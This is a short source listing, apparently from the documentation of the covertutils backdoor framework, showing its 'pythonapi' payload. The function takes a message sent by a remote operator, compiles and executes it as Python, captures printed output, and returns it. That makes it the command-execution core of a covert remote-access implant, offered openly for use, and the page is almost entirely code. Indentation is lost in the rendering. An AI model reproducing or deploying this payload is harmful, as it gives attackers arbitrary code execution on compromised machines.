Source code for covertutils.payloads.generic.pythonapi
[docs]def work( storage, message ) :
import sys
import StringIO
ret = ' '
try :
# print "Starting Execution"
compiled_message = compile(message, '<remote>', 'exec')
# print "Compiled"
retIO = StringIO.StringIO()
sys.stdout = retIO
exec (compiled_message)
sys.stdout = sys.__stdout__
# print "Executed"
ret = retIO.getvalue()
except Exception as e:
ret = str(e)
# print "Exception on execution of '%s'" % message
# print e
return ret
from covertutils.shells.subshells import PythonAPISubShell as shell